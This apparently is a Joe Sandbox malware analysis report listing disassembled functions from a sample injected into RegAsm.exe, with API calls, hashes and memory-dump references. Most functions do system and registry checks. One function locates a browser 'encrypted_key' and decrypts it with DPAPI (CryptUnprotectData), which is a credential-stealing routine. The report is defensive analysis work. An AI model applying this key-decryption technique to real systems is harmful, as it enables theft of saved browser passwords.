Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction ID: 59ffd934fb977a93d501bba2862ecb1df6a0defd032b503e5e890a78b3955a81
Opcode Fuzzy Hash: c386c9d0d73067ea41f4377aeaa2fd448281082c22fa9440fc98d6664c6993a8
Instruction Fuzzy Hash: 712149B5D00219ABDF10DFA5E849BDD7B74FF04320F008229F925A7290EB706A15CF95

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00417690 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
HeapAlloc.KERNEL32(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,0146B6E8,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,01471C58,00000000,00000000,?,000000FF), ref: 004176FE

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
HeapAlloc.KERNEL32(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,0146B6E8,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,014717A8,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,01471FA0,00000000,00000000,00000000,000000FF), ref: 00414118
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,01471D78), ref: 0041415B

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValuememset
String ID:
API String ID: 558315959-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

, xrefs: 00409DC1
DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6C30C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C30C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C30C969
GetSystemInfo.KERNEL32(?), ref: 6C30C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C30C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C30C9E2

Memory Dump Source

Source File: 00000003.00000002.1852963675.000000006C2F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000003.00000002.1852948780.000000006C2F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853165276.000000006C37E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853180305.000000006C382000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 5e9c197ec71b35e160ced38e211d3a27d1d901d8b068d39f22c7449764a10194
Instruction ID: 1e079b99230ee95619340506eed73362f8a8f2b175f6bd1b3fb860bbc52261ea
Opcode Fuzzy Hash: 5e9c197ec71b35e160ced38e211d3a27d1d901d8b068d39f22c7449764a10194
Instruction Fuzzy Hash: 2421FC327416286BDB05AB24EC84BAE737DFB4A708F500119F943A7B40DB705C008FB6

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0146AC48), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,0146AC28), ref: 00410866
StrCmpCA.SHLWAPI(00000000,0146ACE8), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0146AC48), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,0146AC28), ref: 00410866
StrCmpCA.SHLWAPI(00000000,0146ACE8), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0146AB28,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01471188,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0146AAC8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

